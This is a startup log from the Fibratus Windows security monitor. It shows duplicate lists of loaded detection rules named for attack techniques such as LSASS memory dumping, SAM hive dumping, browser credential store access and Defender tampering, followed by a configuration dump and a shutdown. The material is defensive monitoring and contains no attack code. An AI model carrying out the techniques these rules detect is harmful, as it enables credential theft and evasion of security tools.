msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:45:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T15:45:48+01:00 level=info msg=bootstrapping with pid 9308. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T15:45:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false enable-dns=>false buffer-size=>512 enable-audit-api=>true enable-threadpool=>false enable-vamap=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-mem=>false flush-interval=>1s min-buffers=>16 enable-fileio=>true enable-image=>true enable-thread=>true max-buffers=>36 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus durable=>false timeout=>5s vhost=>/ exchange-type=>topic passive=>false enabled=>false routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 enabled=>false trace-log=>false sniff=>false gzip-compression=>false healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] timeout=>5s template-name=>fibratus index-name=>fibratus flush-period=>1s] http=>[ serializer=>json enabled=>false enable-gzip=>false endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false enabled=>false skip-files=>false excluded-files=>[] skip-mmaps=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T15:45:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:45:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:45:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 